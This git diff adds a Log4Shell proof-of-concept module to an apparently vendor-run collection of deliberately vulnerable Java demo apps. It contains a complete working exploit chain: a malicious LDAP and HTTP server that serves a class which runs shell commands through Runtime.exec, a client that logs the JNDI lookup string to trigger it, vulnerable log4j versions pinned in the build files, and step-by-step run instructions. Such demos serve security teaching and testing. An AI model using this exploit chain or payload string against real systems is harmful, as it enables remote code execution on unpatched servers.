diff --git a/README.md b/README.md
new file mode 100644
index 0000000000..dc5bb06062
--- /dev/null
+++ b/README.md
@@ -0,0 +1,98 @@
+## Log4Shell Proof of Concept
+
+The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`.
+
+This repo is based on the excellent proof-of-concept published by [BrianV](https://github.com/bmvermeer/log4jexploit/).
+The PoC is a great starting point. This project expands on it by fleshing it out into a fully standalone demo.
+
+For more information about the exploit and the mechanics of how it works,
+[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/).
+
+### Requirements
+
+You'll need one of the following Java SDKs:
+ * 11.0.1 or earlier
+ * 8u191 or earlier
+ * 7u201 or earlier
+ * 6u211 or earlier
+
+Java SDKs newer than those versions don't have the same vulnerability.
+
+### Building the PoC
+
+In the root folder, run:
+
+```
+./mvnw clean install
+```
+
+**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven.
+
+### Running the PoC
+
+This repo has two modules: server and client.
+
+The server module runs a lean LDAP & HTTP server.
+
+The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a
+Java class that will be deserialized and executed.
+
+The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`.
+
+`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While
+the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it
+writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine.
+
+This PoC should run as-is on Linux or Mac.
+
+Open a terminal window and run the following:
+
+```
+cd log4shell-server
+../mvnw exec:java -Dexec.mainClass="Server"
+```
+
+You should see output that looks like the following:
+
+```
+[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server ---
+LDAP server listening on 0.0.0.0:9999
+HTTP server listening on 0.0.0.0:8000
+```
+
+In another terminal window, run the following:
+
+```
+cd log4shell-client
+JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \
+../mvnw exec:java -Dexec.mainClass="Main"
+```
+
+**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions.
+For example, you can download JDK 8u111
+[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download
+and install the version for Mac, the above command will work for you.
+
+You should see output that looks like the following:
+
+```
+[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client ---
+---------- JVM Props -------------
+java.vm.version=25.111-b14
+java.vm.vendor=Oracle Corporation
+java.vm.name=Java HotSpot(TM) 64-Bit Server VM
+java.vm.specification.name=Java Virtual Machine Specification
+java.vm.specification.vendor=Oracle Corporation
+java.vm.specification.version=1.8
+java.vm.info=mixed mode
+---------------------------------
+20:27:49.676 [Main.main()] ERROR Main - test
+/tmp/pwned DOES NOT EXIST
+20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil}
+/tmp/pwned EXISTS - yah been pwned!
+```
+
+**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the
+`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the
+client app to work properly. The file not being there and then being present after the attack is how it knows it's
+been successful.
\ No newline at end of file
diff --git a/log4shell-goof/README.md b/log4shell-goof/README.md
new file mode 100644
index 0000000000..b08c620530
--- /dev/null
+++ b/log4shell-goof/README.md
@@ -0,0 +1,95 @@
+## Log4Shell Proof of Concept
+
+The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`.
+
+For more information about the exploit and the mechanics of how it works,
+[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/).
+
+### Requirements
+
+You'll need one of the following Java SDKs:
+ * 11.0.1 or earlier
+ * 8u191 or earlier
+ * 7u201 or earlier
+ * 6u211 or earlier
+
+Java SDKs newer than those versions don't have the same vulnerability.
+
+### Building the PoC
+
+In the root folder, run:
+
+```
+./mvnw clean install
+```
+
+**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven.
+
+### Running the PoC
+
+This repo has two modules: server and client.
+
+The server module runs a lean LDAP & HTTP server.
+
+The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a
+Java class that will be deserialized and executed.
+
+The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`.
+
+`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While
+the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it
+writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine.
+
+This PoC should run as-is on Linux or Mac.
+
+Open a terminal window and run the following:
+
+```
+cd log4shell-server
+../mvnw exec:java -Dexec.mainClass="Server"
+```
+
+You should see output that looks like the following:
+
+```
+[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server ---
+LDAP server listening on 0.0.0.0:9999
+HTTP server listening on 0.0.0.0:8000
+```
+
+In another terminal window, run the following:
+
+```
+cd log4shell-client
+JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \
+../mvnw exec:java -Dexec.mainClass="Main"
+```
+
+**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions.
+For example, you can download JDK 8u111
+[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download
+and install the version for Mac, the above command will work for you.
+
+You should see output that looks like the following:
+
+```
+[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client ---
+---------- JVM Props -------------
+java.vm.version=25.111-b14
+java.vm.vendor=Oracle Corporation
+java.vm.name=Java HotSpot(TM) 64-Bit Server VM
+java.vm.specification.name=Java Virtual Machine Specification
+java.vm.specification.vendor=Oracle Corporation
+java.vm.specification.version=1.8
+java.vm.info=mixed mode
+---------------------------------
+20:27:49.676 [Main.main()] ERROR Main - test
+/tmp/pwned DOES NOT EXIST
+20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil}
+/tmp/pwned EXISTS - yah been pwned!
+```
+
+**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the
+`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the
+client app to work properly. The file not being there and then being present after the attack is how it knows it's
+been successful.
\ No newline at end of file
diff --git a/log4shell-goof/log4shell-client/pom.xml b/log4shell-goof/log4shell-client/pom.xml
new file mode 100644
index 0000000000..26e8a05bd9
--- /dev/null
+++ b/log4shell-goof/log4shell-client/pom.xml
@@ -0,0 +1,34 @@
+
+
+ 4.0.0
+
+ log4shell-poc
+ io.snyk
+ 0.0.1-SNAPSHOT
+
+
+ log4shell-client
+ 0.0.1-SNAPSHOT
+
+ Java Goof :: Log4Shell Goof :: Log4Shell Client
+ https://snyk.io
+
+
+ UTF-8
+ 8
+ 8
+
+
+
+
+ org.apache.logging.log4j
+ log4j-core
+ 2.14.1
+
+
+ org.apache.logging.log4j
+ log4j-api
+ 2.14.1
+
+
+
diff --git a/log4shell-goof/log4shell-client/src/main/java/Main.java b/log4shell-goof/log4shell-client/src/main/java/Main.java
new file mode 100644
index 0000000000..2671997d4c
--- /dev/null
+++ b/log4shell-goof/log4shell-client/src/main/java/Main.java
@@ -0,0 +1,43 @@
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+import java.io.File;
+
+public class Main {
+
+ private static final String PWN_FILE = "/tmp/pwned";
+ private static final Logger logger = LogManager.getLogger(Main.class);
+
+ public static void main(String[] args) throws InterruptedException {
+ showJavaStats();
+ logger.error("test");
+ checkTmp(false);
+ logger.error("Output:" + "${jndi:ldap://127.0.0.1:9999/Evil}");
+ // give a beat for the file to be written
+ Thread.sleep(1000);
+ checkTmp(true);
+ }
+
+ public static void showJavaStats() {
+ System.out.println("---------- JVM Props -------------");
+ System.getProperties().entrySet().stream()
+ .filter(entry -> ((String)entry.getKey()).startsWith("java.vm."))
+ .forEach(System.out::println);
+ System.out.println("---------------------------------");
+ }
+
+ public static void checkTmp(boolean shouldExist) {
+ File f = new File(PWN_FILE);
+ if (shouldExist != f.exists()) {
+ String exStr = String.format(
+ "\n\tUnexpected state." +
+ "\n\tMake sure to remove %s between runs." +
+ "\n\tMake sure Server is running." +
+ "\n\tMake sure you JVM is <= 11.0.1 or 8u191 or 7u201 or 6u211",
+ PWN_FILE
+ );
+ throw new RuntimeException(exStr);
+ }
+ System.out.println(String.format("%s %s", PWN_FILE, f.exists()?"EXISTS - yah been pwned!":"DOES NOT EXIST"));
+ }
+}
\ No newline at end of file
diff --git a/log4shell-goof/log4shell-server/pom.xml b/log4shell-goof/log4shell-server/pom.xml
new file mode 100644
index 0000000000..fa469be03b
--- /dev/null
+++ b/log4shell-goof/log4shell-server/pom.xml
@@ -0,0 +1,40 @@
+
+
+ 4.0.0
+
+
+ log4shell-poc
+ io.snyk
+ 0.0.1-SNAPSHOT
+
+
+ log4shell-server
+ 0.0.1-SNAPSHOT
+
+ Java Goof :: Log4Shell Goof :: Log4Shell Server
+ https://snyk.io
+
+
+ UTF-8
+ 8
+ 8
+
+
+
+
+ org.apache.logging.log4j
+ log4j-core
+ 2.15.0
+
+
+ com.unboundid
+ unboundid-ldapsdk
+ 3.1.1
+
+
+ io.undertow
+ undertow-core
+ 2.2.13.Final
+
+
+
diff --git a/log4shell-goof/log4shell-server/src/main/java/Evil.java b/log4shell-goof/log4shell-server/src/main/java/Evil.java
new file mode 100644
index 0000000000..d027d9f7e2
--- /dev/null
+++ b/log4shell-goof/log4shell-server/src/main/java/Evil.java
@@ -0,0 +1,17 @@
+import javax.naming.Context;
+import javax.naming.Name;
+import javax.naming.spi.ObjectFactory;
+import java.util.Hashtable;
+
+public class Evil implements ObjectFactory {
+ @Override
+ public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
+ String[] cmd = {
+ "/bin/sh",
+ "-c",
+ "echo PWNED > /tmp/pwned"
+ };
+ Runtime.getRuntime().exec(cmd);
+ return null;
+ }
+}
diff --git a/log4shell-goof/log4shell-server/src/main/java/Server.java b/log4shell-goof/log4shell-server/src/main/java/Server.java
new file mode 100644
index 0000000000..ea141e6405
--- /dev/null
+++ b/log4shell-goof/log4shell-server/src/main/java/Server.java
@@ -0,0 +1,129 @@
+import com.unboundid.ldap.listener.InMemoryDirectoryServer;
+import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
+import com.unboundid.ldap.listener.InMemoryListenerConfig;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPException;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import io.undertow.Undertow;
+import io.undertow.util.Headers;
+
+import javax.net.ServerSocketFactory;
+import javax.net.SocketFactory;
+import javax.net.ssl.SSLSocketFactory;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.InetAddress;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+
+public class Server {
+ private static final String LDAP_BASE = "dc=example,dc=com" ;
+
+ public static void main (String[] args) throws IOException, LDAPException {
+ String[] defaultArgs = {"http://127.0.0.1:8000/#Evil", "9999", "8000"};
+
+ if (args.length != 3) {
+ args = defaultArgs;
+ }
+
+ setupLDAP(args[0], Integer.parseInt(args[1]));
+ setupHTTP(Integer.parseInt(args[2]));
+ }
+
+ private static void setupLDAP(String evilUrl, int port)
+ throws LDAPException, MalformedURLException, UnknownHostException
+ {
+ InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
+ config.setListenerConfigs(new InMemoryListenerConfig(
+ "listen" ,
+ InetAddress.getByName( "0.0.0.0" ),
+ port,
+ ServerSocketFactory.getDefault(),
+ SocketFactory.getDefault(),
+ (SSLSocketFactory) SSLSocketFactory.getDefault()
+ ));
+
+ config.addInMemoryOperationInterceptor(new OperationInterceptor( new URL(evilUrl)));
+ InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
+ System.out.println( "LDAP server listening on 0.0.0.0:" + port);
+ ds.startListening();
+ }
+
+ private static void setupHTTP(int port) throws IOException {
+ byte[] targetArray = readEvil();
+
+ Undertow server = Undertow.builder()
+ .addHttpListener(port, "0.0.0.0")
+
+ // keep it simple - any request returns our Evil.class
+ .setHandler(exchange -> {
+ exchange.getResponseHeaders().put(Headers.CONTENT_TYPE, "application/octet-stream");
+ exchange.getResponseSender().send(ByteBuffer.wrap(targetArray));
+ }).build();
+
+ System.out.println( "HTTP server listening on 0.0.0.0:" + port);
+ server.start();
+ }
+
+ private static byte[] readEvil() throws IOException {
+ InputStream is = Server.class.getClassLoader().getResourceAsStream("Evil.class");
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+ int nRead;
+ byte[] data = new byte[4];
+
+ while ((nRead = is.read(data, 0, data.length)) != -1) {
+ bos.write(data, 0, nRead);
+ }
+
+ bos.flush();
+ return bos.toByteArray();
+ }
+
+ private static class OperationInterceptor extends InMemoryOperationInterceptor {
+
+ private final URL codebase;
+
+ public OperationInterceptor(URL cb) {
+ this.codebase = cb;
+ }
+
+ @Override
+ public void processSearchResult(InMemoryInterceptedSearchResult result) {
+ String base = result.getRequest().getBaseDN();
+ Entry entry = new Entry(base);
+
+ try {
+ sendResult(result, base, entry);
+ } catch (LDAPException | MalformedURLException e) {
+ e.printStackTrace();
+ }
+ }
+
+ protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
+ throws LDAPException, MalformedURLException
+ {
+ URL turl = new URL(
+ this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")
+ );
+ System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
+ e.addAttribute("javaClassName", "foo");
+ String cbstring = this.codebase.toString();
+ int refPos = cbstring.indexOf('#');
+ if (refPos > 0) {
+ cbstring = cbstring.substring(0, refPos);
+ }
+ e.addAttribute("javaCodeBase", cbstring);
+ e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
+ e.addAttribute("javaFactory", this.codebase.getRef());
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ }
+ }
+}
diff --git a/log4shell-goof/log4shell-server/target/classes/Server$OperationInterceptor.class b/log4shell-goof/log4shell-server/target/classes/Server$OperationInterceptor.class
new file mode 100644
index 0000000000..7deca81203
Binary files /dev/null and b/log4shell-goof/log4shell-server/target/classes/Server$OperationInterceptor.class differ
diff --git a/log4shell-goof/pom.xml b/log4shell-goof/pom.xml
new file mode 100644
index 0000000000..e902f400a4
--- /dev/null
+++ b/log4shell-goof/pom.xml
@@ -0,0 +1,28 @@
+
+
+ 4.0.0
+
+
+ java-goof
+ io.github.snyk
+ 1.0-SNAPSHOT
+
+
+ io.snyk
+ log4shell-poc
+ 0.0.1-SNAPSHOT
+ pom
+
+ Java Goof :: Log4Shell Goof
+
+
+ UTF-8
+ 1.8
+ 1.8
+
+
+
+ log4shell-server
+ log4shell-client
+
+
diff --git a/pom.xml b/pom.xml
index d4579ad42a..6701109dca 100644
--- a/pom.xml
+++ b/pom.xml
@@ -4,13 +4,14 @@
io.github.snyk
java-goof
- 1.0-SNAPSHOT
+ 0.0.1-SNAPSHOT
Java Goof
A collection of vulnerable Java apps
https://github.com/snyk-labs/java-goof
todolist-goof
+ log4shell-goof
pom
diff --git a/todolist-goof/pom.xml b/todolist-goof/pom.xml
index 245fdf132f..5753769164 100644
--- a/todolist-goof/pom.xml
+++ b/todolist-goof/pom.xml
@@ -5,13 +5,13 @@
java-goof
io.github.snyk
- 1.0-SNAPSHOT
+ 0.0.1-SNAPSHOT
io.github.snyk
todolist-mvc
- 1.0-SNAPSHOT
- Todolist MVC parent module
+ 0.0.1-SNAPSHOT
+ Java Goof :: TodoList Goof
A vulnerable demo application, initially based on Ben Hassine's TodoMVC.
https://github.com/snyk/java-goof
diff --git a/todolist-goof/todolist-core/pom.xml b/todolist-goof/todolist-core/pom.xml
index 0ad71230c6..aeb2068be5 100644
--- a/todolist-goof/todolist-core/pom.xml
+++ b/todolist-goof/todolist-core/pom.xml
@@ -3,14 +3,14 @@
todolist-mvc
io.github.snyk
- 1.0-SNAPSHOT
+ 0.0.1-SNAPSHOT
4.0.0
todolist-core
jar
- todolist-core
+ Java Goof :: Todolist Goof :: Todolist Core
diff --git a/todolist-goof/todolist-web-common/pom.xml b/todolist-goof/todolist-web-common/pom.xml
index 2b85167928..25f60795b9 100644
--- a/todolist-goof/todolist-web-common/pom.xml
+++ b/todolist-goof/todolist-web-common/pom.xml
@@ -3,14 +3,14 @@
todolist-mvc
io.github.snyk
- 1.0-SNAPSHOT
+ 0.0.1-SNAPSHOT
4.0.0
todolist-web-common
jar
- todolist-web-common
+ Java Goof :: Todolist Goof :: Todolist Web Common
UTF-8
diff --git a/todolist-goof/todolist-web-struts/pom.xml b/todolist-goof/todolist-web-struts/pom.xml
index 7c0aa7c500..60ea931624 100644
--- a/todolist-goof/todolist-web-struts/pom.xml
+++ b/todolist-goof/todolist-web-struts/pom.xml
@@ -3,12 +3,12 @@
todolist-mvc
io.github.snyk
- 1.0-SNAPSHOT
+ 0.0.1-SNAPSHOT
4.0.0
todolist-web-struts
war
- todolist-web-struts Maven Webapp
+ Java Goof :: Todolist Goof :: Todolist Web Struts